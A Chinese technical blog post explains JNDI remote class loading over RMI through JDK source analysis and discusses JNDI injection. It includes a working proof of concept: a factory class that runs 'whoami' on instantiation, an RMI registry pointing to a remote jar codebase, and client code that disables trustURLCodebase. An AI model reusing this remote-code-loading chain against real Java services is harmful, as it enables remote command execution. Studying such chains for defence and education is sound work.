JNDI With RMI

JNDI with RMI

JNDI即Java Naming and Directory Interface(JAVA命名和目录接口),jndi类似于一个索引中心,允许客户端通过name发现和查找数据和对象,并将这些对象加载到本地并运行。

JNDI本事只是一种接口,具体的实现有:

  • RMI: 远程方法调用
  • CORBA: 通用对象请求代理体系结构
  • LDAP: 轻型目录访问协议
  • DNS: 域名服务

Codebase

CodeBase 官方文档

Codebase是JVM要加载类文件时的位置,其中 CLASSPATRH 被当作本地代码库,即从本地磁盘加载。除了使用本地加载方式,java还可以通过序列化动态地从远程加载类并使用。

在该方式下,客户端JVM直接通过访问资源服务器(一般为http或者ftp服务器)下载class文件,通过反射加载到本地并执行相应代码。

在该种方式下,要加载的远程类及其所依赖的类文件必须可被客户端访问。

在java RMI协议中使用Codebase

RMI机制中交互的数据是序列化形式传输的,但是传输的只是对象的数据内容,RMI本身并不会传递类的代码。当本地没有该对象的类定义时,RMI提供了一些方法可以远程加载类,也就是RMI动态加载类的特性。

当对象发送序列化数据时,会在序列化流中附加上Codebase的信息,这个信息告诉接收方到什么地方寻找该对象的执行代码。Codebase实际上是一个URL表,该URL上存放了接收方需要的类文件。

Codebase设定

远程对象的代码库由远程对象的服务器通过设置系统属性 java.rmi.server.codebase 来指定。

在JVM启动时:

  • 如果可下载类的位置在名为“webvector”的 HTTP 服务器上,在目录“export”(在 web 根目录下),codebase 属性设置如下所示:

    java -Djava.rmi.server.codebase=http://webvector/export/

    注意:当接收程序试图从该URL的Webserver上下载类文件时,它会把类的包名转化成目录,在对应目录下查询类文件。

  • 如果可下载类的位置在名为“webline”的 HTTP 服务器上,在名为“mystuff.jar”的 JAR 文件中,在目录“public”(在 web 根目录下),codebase 属性设置如下所示:

    java -Djava.rmi.server.codebase=http://webline/public/mystuff.jar 0-p--p
  • 如果可下载类的位置已被分成两个 JAR 文件,“myStuff.jar”和“myOtherStuff.jar”。如果这些 JAR 文件位于不同的服务器上(名为“webfront”和“webwave”),codebase`属性设置如下所示:

    java -Djava.rmi.server.codebase="http://webfront/myStuff.jar http://webwave/myOtherStuff.jar"

或者在代码中使用 System#setProperty 方法设置配置:

System.setProperty("java.rmi.server.codebase", "ip[:port]/path [other,..]");

注意:JVM首先会在 CLASSPATH 中搜索要加载对象,当找到之后便不会进行远程加载过程。

限制

在JDK 7u216u45 版本之后,System.properties中的 java.rmi.server.useCodebaseOnly 修改为 false,也即只能从预配置的 codebase 中加载类定义。

在更之后的版本,jdk采取 trustCodebase 属性来限制jdni的使用。

RMI实现JNDI过程
  1. 远程对象的代码库由远程对象的服务器通过设置 java.rmi.server.codebase 属性来指定。RMI serverRMI resistry 注册一个绑定名称的远程对象,之后 RMI server 通过一个 remote object reference 来表示该远程对象的资源位置。

  2. RMI client 请求一个 remote object reference,引用(远程对象的stub instance)是客户端用来对远程对象进行远程方法调用的对象。

  3. RMI server 返回一个被请求的远程对象的 reference (the stub instance).

  4. Client 向 Codebase 请求目标Class定义,该 Codebase 是根据客户端之前请求的 reference (the stub instance) 来获取的。

  5. stub 所代表的的类定义(以及它需要的任何其他类)被下载到客户端。

class文件查找方式

如果所需的类文件在Webserver的根目录下,那么设置Codebase的命令行参数如下:

java -Djava.rmi.server.codebase=protocol://ip[:port]/  .. other args

当接收程序试图从该URL的Webserver上下载类文件时,它会把类的包名转化成目录,在Codebase 的对应目录下查询类文件。

如果包含多个class文件,则客户端会分多次下载对应class文件,如果找不到客户端会抛出 NoClassDefError

例如:如果传递的是类文件 com.project.test ,那么接受方就会到下面的URL去下载类文件:

protocol://ip[:port]/com/project/test.class

使用wireshark查看Client加载多个class文件时的http请求:

如果项目被打包为jar,则需要在url中指定该jar包的路径,且客户端会下载整个jar包。

-Djava.rmi.server.codebase=protocol://ip[:port]/project.jar

例如:客户端请求的class被包含在某个jar包里:

使用wireshark查看Client加载整个jar包时的http请求:

RMI 实现的 JNDI 例子

远程对象

编写要被远程载入的类:CmdExecutor类:该代码在构造时,执行传入的命令,将文本输出到执行方的终端

package exec;

import java.io.*;

public class CmdExecutor {
String cmd=null; public CmdExecutor(String cmd) throws Exception {
System.out.println("Cmd Executor is constructed. cmd: " +cmd);
this.cmd = cmd;
exec(); .
} public void exec() {
final Process process;
process = Runtime.getRuntime().exec(cmd);
try {
int value=process.waitFor();
Reader reader =new InputStreamReader(process.getInputStream());
BufferedReader bf = new BufferedReader(reader);
String line = null;
try {
while ((line=bf.readLine())!=null){
System.out.println(line);
}
}catch (IOException e){
System.err.println("some err happened: "+ e);
}
} catch (IOException | InterruptedException e) {
System.err.println("some err happened: "+ e);
}
}
}

实际上客户端并不是直接通过获取工作类,而是需要一个实现了 ObjectFactory 的工厂类去实例化一个真实的工作类对象:该工厂类实例化一个 CmdExecutor,让该实例化对象在构造时就执行 whoami 命令;

import exec.CmdExecutor;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory; public class ExecutorFactory implements ObjectFactory {
public ExecutorFactory(){
System.out.println("ExecutorFactoryis constructed.");
} @Override
public Object getObjectInstance(Object o, Name name, Context context, Hashtable<?, ?> hashtable) throws Exception {
System.out.println("generating a new CmdExecutor...");
return new CmdExecutor("whoami");
}
}

之后将编译好的class文件或者打包好的jar包放在web服务器中(注意路径):

开启rim服务端

编写服务端,创建一个注册中心,将 name 映射到 obj:

package server;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import javax.naming.Reference;
import java.rmi.registry.Registry; public class RefRegister{
public void start(int port) throws Exception{
// 创建一个注册中心,以port作为端口
Registry registry = LocateRegistry.createRegistry(port);
Reference executorRef = new Reference("remote.exec.CmdExecutor", "remote.exec.ExecutorFactory", "http://127.0.0.1:8080/rmi-server.jar");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(executorRef); // 将Executor类绑定到 rmi://127.0.0.1:1099/exec 上
System.out.print("Binding 'refObjWrapper' to 'rim://127.0.0.1:"+port+"/'... ");
registry.bind("exec", refObjWrapper);
System.out.println("Successful");
} public static void main(String[] args) throws Exception {
new RefRegister().start(1099);
}
}

以上代码是开启1079端口运行rim服务,并将 ExecutorFactory 类绑定到与名字:exec 相绑定。

rmi协议通过将该Reference对象序列化,并传输至客户端,以此客户端得知想获取的资源位置。

这里是把hacker-service项目打包成jar文件,所以 CmdExecutor 需要映射到该jar文件的路径。

执行Server类的psvm。(public static void main),启动RMI服务。

客户端获取并加载目标class对象

客户端代码:

package client;

import javax.naming.Context;
import javax.naming.InitialContext; public class Client {
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
String uri = "rmi://127.0.0.1:1079/exec";
Context ctx = new InitialContext();
Object obj = ctx.lookup(uri);
System.out.println(obj.getClass());
}
}
解除版本限制
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

这两个语句的作用是解除 rmi 与 ldap 的加载远程类Codebase的限制。

如果不设置"com.sun.jndi.rmi.object.trustURLCodebase""true",则可能抛出以下错误:

Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at client.Client.run(Client.java:12)
at Application.main(Application.java:4)

即默认不信任指定的Codebase;

如果不设置 "com.sun.jndi.ldap.object.trustURLCodebase""true" ,则 ctx.lookup(uri) 会返回一个javax.naming.Reference 对象,而不是真正的预期class实例,原因可能是当获取Reference对象并解析资源位置时,会调用ladp协议获取真正的资源。(?ISSUE)

执行Client类的psvm,输出如下:

➜  java client.Client
ExecutorFactory is constructed.
generating a new CmdExecutor...
Cmd Executor is constructed. cmd: whoami
exec.CmdExecutor ==> whoami: niss
class exec.CmdExecutor
  1. 远程工厂类首先被实例化。
  2. 工厂类的getObjectInstance 被调用。
  3. 接口方法返回一个 exec.CmdExecutor 对象,并在构造方法中执行 whoami命令。

如果以root权限运行客户端:

➜  sudo java client.Client
[sudo] password for niss:
ExecutorFactoryis constructed.
generating a new CmdExecutor...
Cmd Executor is constructed. cmd: whoami
exec.CmdExecutor ==> whoami: root
class exec.CmdExecutor

可以看到客户端所获取的类是完完全全以本地方式运行的

源码解析

相关类

RefAddr

javax.naming.RefAddr 用于 Reference 中的类定义资源所在地址的抽象。

该类为抽象类,需要实现 getContent() 方法;

最常用的为 StringRefAddr

public class StringRefAddr extends RefAddr {
private String contents;
public StringRefAddr(String addrType, String addr) {
super(addrType);
contents = addr;
}
public Object getContent() {return contents;}
private static final long serialVersionUID = -8913762495138505527L;
}
  • contents:具体的地址;
Reference

javax.naming.Reference

该类包含4个属性:

  • className:被引用的远程调用类名;
  • all:被引用的类所在地址向量;
  • classFactory:用于生成该类的工厂类名;
  • classFactoryLocation:工厂类地址;

注意:第三个构造方法为 Reference(ClassName, classFactory, classFactoryLocation) ,并没有设置被引用类的地址。

RemoteRefrence

com.sun.jndi.rmi.registry.RemoteReference 接口,用于获取 Reference 对象。

public interface RemoteReference extends Remote {
Reference getReference() throws NamingException, RemoteException;
}
ReferenceWrapper

com.sun.jndi.rmi.registry.ReferenceWrapper 类,作为 Reference 类的包装类,实现了 RemoteReference接口;并且其继承于 UnicastRemoteObject ,使其可以作为Stub并远程传输 。

public class ReferenceWrapper
extends UnicastRemoteObject
implements RemoteReference
{
protected Reference wrappee; // reference being wrapped public ReferenceWrapper(Reference wrappee)
throws NamingException, RemoteException
{
this.wrappee = wrappee;
} public Reference getReference() throws RemoteException {
return wrappee;
} private static final long serialVersionUID = 6078186197417641456L;
}

:利用 register#lookup(String) 方法获取传输到客户端的类型,发现客户端获取的为 ReferenceWrapper_Stub,可以通过反射调用 getReference 方法获取真实的 Reference

Registry registry = LocateRegistry.getRegistry("127.0.0.1", port, Socket::new);
System.out.println(registry.getClass());
Object wrapper = registry.lookup("exec");
System.out.println(Arrays.toString(wrapper.getClass().getInterfaces()));
Method method = wrapper.getClass().getDeclaredMethod("getReference");
Reference ref = (Reference) method.invoke(wrapper);
System.out.println(ref.getClass());
System.out.println("\t"+ref.getClassName()+"\n\t"+ref.getFactoryClassName()+"\n\t"+ref.getFactoryClassLocation()+"\n\t"); class com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
[interface com.sun.jndi.rmi.registry.RemoteReference, interface java.rmi.Remote]
class javax.naming.Reference
remote.exec.CmdExecutor
remote.exec.ExecutorFactory
http://127.0.0.1:8080/rmi-server.jar

方法加载过程

大概方法调用栈过程:

<init>:217, VersionHelper12$7 (com.sun.naming.internal)
getContextClassLoader:216, VersionHelper12 (com.sun.naming.internal)
loadClassWithoutInit:65, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:148, NamingManager (javax.naming.spi)
getObjectInstance:330, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
run:12, Client (client)
main:5, Application

lookup 方法会调用 javax.naming.InitialContext#getURLOrDefaultInitCtx(java.lang.String) 方法,先判断传入的协议类型,再去获取一个Context。

可以看出根据传入的 rmi://127.0.0.1:1079/exec,该方法返回了一个 rmiURLContext 对象。

接下来便会根据协议路径来尝试获取 Reference 对象。

根据协议获取的 rmiURLContext 对象的 lookup 方法中,会对协议进行解析,获取对应的 Context 以及 协议URL中的各种字段。

最终会进入 ctx.lookup 方法:

RegistryContext

进入方法,发现获取的 Context 的实现类为 RegistryContext

public class RegistryContext implements Context, Referenceable {

    private Hashtable<String, Object> environment;
private Registry registry;
private String host;
private int port;
private static final NameParser nameParser = new AtomicNameParser();
private static final String SOCKET_FACTORY = "com.sun.jndi.rmi.factory.socket";
/**
* Determines whether classes may be loaded from an arbitrary URL code base.
*/
static final boolean trustURLCodebase;
static {
// System property to control whether classes may be loaded from an
// arbitrary URL codebase
PrivilegedAction<String> act = () -> System.getProperty(
"com.sun.jndi.rmi.object.trustURLCodebase", "false");
String trust = AccessController.doPrivileged(act);
trustURLCodebase = "true".equalsIgnoreCase(trust);
} Reference reference = null; // ref used to create this context, if any // Environment property that, if set, indicates that a security
// manager should be installed (if none is already in place).
public static final String SECURITY_MGR =
"java.naming.rmi.security.manager";
...

该类中包含一个静态代码快,用于获取系统属性 com.sun.jndi.rmi.object.trustURLCodebase 判断是否为 "true",并将结果赋值给属性 trustURLCodebase

在该类的构造方法中,通过前面对协议URL解析出的host、port来获取一个 Registry (实际上是一个 RegisterImpl_Stub,正好符合RMI的调用过程);

之后通过 registry.lookup 方法获取服务端绑定的远程对象的引用包装 ReferenceWrapper(实际上是 ReferenceWrapper_Stub):

之后调用 this.decodeObject 方法,根据 Reference 提供的URL来获取真正的类资源。

decodeObject

该方法会判断之前 registry.lookup 的返回对象是否为 RemoteReference 接口的实现类,由于返回的是一个 ReferenceWrapper_Stub ,所以条件为真,调用接口方法 getReference 获取真正的 Reference 对象: ref

之后进入条件判断 ref 不为 null,,ref.getFactoryClassLocation 不为 null ,但是 trustURLCodefalse,之后会抛出 ConfigurationException

这也是系统属性 com.sun.jndi.rmi.object.trustURLCodebase 真正起作用的地方,只有设置为 true 之后才不会进入这段代码,导致抛出异常。

InitialContext context = new InitialContext();
Object obj = context.lookup("rmi://127.0.0.1:1099/exec"); Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at javax.naming.InitialContext.lookup(InitialContext.java:417)

之后进入 NamingMannager.getObjectInstance 方法。

NamingMannager#getObjectInstance

参数

判断 refInfo 类型为 Reference 后,通过 ref.getFactoryClassName 获取远程工厂类名。

之后进入 getObjectFactoryFormReference 来获取工厂类Class定义。

NamingMannager#getObjectFactoryFormReference

VersionHelper12 类型对象 helpr 首先会尝试loadClassWithoutInit,而其最终调用 Class.forName 去加载工厂类:

类加载器类型为 sun.misc.Luncher

尝试在本地中加载类

由于 java 的双亲委派机制,会将 loadClass 方法不断委托到 parent (父-类加载器),最终委托到 BootStrapLoader 。由于 remote.exec.ExecutoryFactory 是网络资源,不可能在本地 Classpath 中找到,因此会返回 null

之后调用 findClass 去从外部资源中寻找Class定义:

URLClassLoader也找不到该类的定义,抛出异常 ClassNotFoundExecption

未找到并返回

返回到 getObjectFactoryFromReference 中,尝试利用 helper.loadClass 加载工厂类:

这里解释了为什么rmi方式的jndi会优先从本地classpath加载类。

VersionHelper12

VersionHelper was used by JNDI to accommodate differences between JDK 1.1.x and the Java 2 platform. As this is no longer necessary since JNDI's inclusion in the platform, this class currently serves as a set of utilities for performing system-level things, such as class-loading and reading system properties.

总之该类是一个用于在JDNI下,加载类资源的一个工具类。

final class VersionHelper12 extends VersionHelper {

    // Disallow external from creating one of these.
VersionHelper12() {
} public Class<?> loadClass(String className) throws ClassNotFoundException {
return loadClass(className, getContextClassLoader());
} public Class<?> loadClassWithoutInit(String className) throws ClassNotFoundException {
return loadClass(className, false, getContextClassLoader());
} /**
* Determines whether classes may be loaded from an arbitrary URL code base.
*/
private static final String TRUST_URL_CODEBASE_PROPERTY =
"com.sun.jndi.ldap.object.trustURLCodebase";
private static final String trustURLCodebase =
AccessController.doPrivileged(
new PrivilegedAction<String>() {
public String run() {
try {
return System.getProperty(TRUST_URL_CODEBASE_PROPERTY,
"false");
} catch (SecurityException e) {
return "false";
}
}
}
);

VersionHelper12 中,存在静态属性 trustURLCodebase(从系统属性中获取):而在之后的 loadClass(String className, String codebae) 方法中也会进行判断,是否为 true

这里才是系统属性 com.sun.jndi.ldap.object.trustURLCodebase 真正起作用的地方,必须设置为 true 才能进入之后的类加载过程。否则返回null,z最终导致 RegestryContext#getObjectInstance 方法返回 refInfo

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
InitialContext context = new InitialContext();
Object obj = context.lookup("rmi://127.0.0.1:1099/exec");
System.out.println(obj.getClass()); class javax.naming.Reference

之后通过方法 getUrlArray 方法来获取一个 URL 数组。

这也就解释了为什么在定义 codebase 时,可以使用空格分割,从而传递多个codebase

之后获取一个 URLClassLoader ,最后调用 loadClass 方法,利用该 URLClassLoader 加载工厂类。

最终成功加载类定义后,返回到getObjectFactoryFromReference,调用 clas.newInstance 方法成一个工厂类实例:

远程对象的实例生成

终于到最后一步了,前面的 getObjectFactoryFromReference 方法结束后,返回工厂类实例,之后调用接口 getObjectInstance 方法,生成一个新的远程对象:

发现IDEA的debug已经定位到jar包的资源:

为了生成 CmdExecutor ,之后还会尝试使用 URLClassLoader 去加载该类定义:

经历一系列套娃 loadClass 后,CmdExecutor 终于被成功加载,并实例化:

之后各种返回,将ExecutorFactory 实例生成的 CmdExecutor 实例返回:

Jndi注入

事实上如果java代码中,用户的输入与类的加载(InitialContext#lookup)相关,那么很可能用户输入一个自己编写的jndi服务地址,并且用户将想执行的代码编写至一个class文件中,最终服务器将会加载用户指定的类,并执行对应的构造方法或者其他方法。

当然以上都是手动在客户端代码中解除了 trustURLCodebase 限制之后的效果,而在java1.8之后,虽然jdk默认禁止加载远程class,但依然存在jdni注入威胁。

JDK 5U456U457u218u121 及其之后 java.rmi.server.useCodebaseOnly 默认值为 "true".

JDK 6u1327u1228u113 及其之后 com.sun.jndi.rmi.object.trustURLCodebase 默认值为"false".

JDK 11.0.18u1917u2016u211 及其之后 com.sun.jndi.ldap.object.trustURLCodebase 默认值为"false".


参考

JNDI With RMI的更多相关文章

  1. J2EE学习记录,EJB,JNDI,RMI

    Java EE 是java平台企业版(Java Platform Enterprise Edition)缩写,是Sum公司为企业级应用推出的标准平台. 随着Java技术的发展,J2EE平台得到了迅速的 ...

  2. J2EE相关概念,EJB/JNDI/JMS/RMI等

    J2EE 四层模型 J2EE的核心API.组件.相关概念 JDBC(Java Database Connectivity) JNDI(Java Name and Directory Interface ...

  3. ZooKeeper伪分布集群安装及使用 RMI+ZooKeeper实现远程调用框架

    使用 RMI + ZooKeeper 实现远程调用框架,包括ZooKeeper伪集群安装和代码实现两部分.  一.ZooKeeper伪集群安装: 1>获取ZooKeeper安装包 下载地址:ht ...

  4. jboss部署出现jboss.naming.context.java.rmi找不到错误

    最近,在机器人程序中使用jmx,准备做个远程调用,客户端是web,部署在jboss上,本地测试的都好好的,发到预发布上就是不行, 错误描述: Failed to retrieve RMIServer ...

  5. 使用 RMI + ZooKeeper 实现远程调用框架

    目录[-] 1 发布 RMI 服务1.1 定义一个 RMI 接口1.2 编写 RMI 接口的实现类1.3 通过 JNDI 发布 RMI 服务2 调用 RMI 服务3 RMI 服务的局限性4 使用 Zo ...

  6. appserver WildFly 8.1 / jboss debug / jboss rmi

    s 开启jboss debug模式,服务端口8787. [jbossuser@lindowsdevapp04 ~]$ vim /opt/wildfly/bin/standalone.conf JAVA ...

  7. 对JAVA RMI的认识

    RMI的定义 RPC (Remote Procedure Call):远程方法调用,用于一个进程调用另一个进程中的过程,从而提供了过程的分布能力. RMI(Remote Method Invocati ...

  8. RMI(远程方法调用)

    Remote Method Invocation  跨虚拟机间调用 使用 RMI 技术可轻松将 服务提供者(Service Provider)与 服务消费者(Service Consumer)进行分离 ...

  9. Java安全之JNDI注入

    Java安全之JNDI注入 文章首发:Java安全之JNDI注入 0x00 前言 续上篇文内容,接着来学习JNDI注入相关知识.JNDI注入是Fastjson反序列化漏洞中的攻击手法之一. 0x01 ...

随机推荐

  1. LNK善意利用

    lnk   lnk在Windows平台下是快捷方式,可以指向其他目录下的文件,并且可以传递参数.现在有些恶意活动会恶意利用lnk,执行恶意代码.   关于lnk的格式,可以使用010 editor的模 ...

  2. 单网口RFC2544测试——信而泰网络测试仪实操

    一.测试拓扑 拓扑说明 测试仪一个端口和DUT一个端口相连 DUT假设是一台交换设备,它能够把测试仪发送的流量直接转发回来 注意:要求DUT必须能够把收到的流量环回出来,否则没有办法测试 二.测试思路 ...

  3. 360携手HarmonyOS打造独特的“天气大师”

    做创新,首先要找到有增长趋势的流量红利,对我们来说,HarmonyOS就是绝佳的合作伙伴. --申悦 360手机助手创研产品部负责人 一.我们是谁? 我们来自360,是一支致力于孵化新业务的内部创新小 ...

  4. Ubuntu更新命令无法执行的,下一步该怎么办?

    对Linux的系统学习的更加深入,所以今天笔者正在Ubuntu20.04 LTS 上部署Sublime Text 的环境时 , 由于对操作的不熟悉,踩了一些坑.拿出来和大家分享. 正在我对照着官方文档 ...

  5. C# 开始支持动态化编程

    在.NET 4.0的运行时进行动态编程时,我们引入了一个新功能:动态语言运行时.可以这样理解,CLR的目的是为静态类型的编程语言提供一个统一的框架或编程模型,而DLR便是在.NET平台上为动态语言提供 ...

  6. 深入Mybatis框架

    深入Mybatis框架 学习了Spring之后,我们已经了解如何将一个类作为Bean交由IoC容器管理,也就是说,现在我们可以通过更方便的方式来使用Mybatis框架,我们可以直接把SqlSessio ...

  7. c语言刷 链表题记录

    61. 旋转链表 /** * Definition for singly-linked list. * struct ListNode { * int val; * struct ListNode * ...

  8. python面试_总结03_列表练习题

    1.列表练习题 完成下列列表相关的编程题,先运行下列的test函数,在完成每道题之后,都可以通过调用test函数检测所写函数对错. def test(got, expected): if got == ...

  9. Oracle数据库工程实训笔记

    Oracle的配置 一.配置监听和本地服务名配置 分别是 E:\oraclexe\app\oracle\product\11.2.0\server\network\ADMIN 下的这两个文件: 监听配 ...

  10. netty系列之:NIO和netty详解

    目录 简介 NIO常用用法 NIO和EventLoopGroup NioEventLoopGroup SelectorProvider SelectStrategyFactory RejectedEx ...